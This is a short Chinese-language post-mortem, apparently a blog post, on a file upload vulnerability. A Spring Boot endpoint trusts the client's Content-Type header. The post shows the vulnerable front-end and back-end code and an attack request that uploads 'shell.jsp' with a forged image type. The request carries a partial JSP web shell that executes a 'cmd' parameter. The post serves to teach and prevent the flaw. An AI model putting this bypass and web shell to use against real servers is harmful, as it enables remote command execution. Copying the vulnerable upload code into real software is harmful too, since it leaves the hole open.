被忽略的 Content-Type:一次文件上传漏洞的复盘
前端校验了文件类型,后端信任了 Content-Type,结果服务器被上传了 WebShell。
事故现场
// 前端:看似严格的校验
const handleUpload = (e) => {
const file = e.target.files[0];
if (!file.name.endsWith('.jpg') && !file.name.endsWith('.png')) {
alert('只允许图片格式!');
return;
}
uploadToServer(file);
};
// 后端:Java Spring Boot,看似也校验了
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
String contentType = file.getContentType(); // 信任了客户端传来的值
if (!contentType.equals("image/jpeg") && !contentType.equals("image/png")) {
return "非法文件类型";
}
// 保存到服务器...
file.transferTo(new File("/uploads/" + file.getOriginalFilename()));
return "上传成功";
}
攻击方式
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: image/jpeg ← 伪造的 Content-Type,实际内容是 JSP 木马
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
...
%>
------WebKitFormBoundary--

浙公网安备 33010602011771号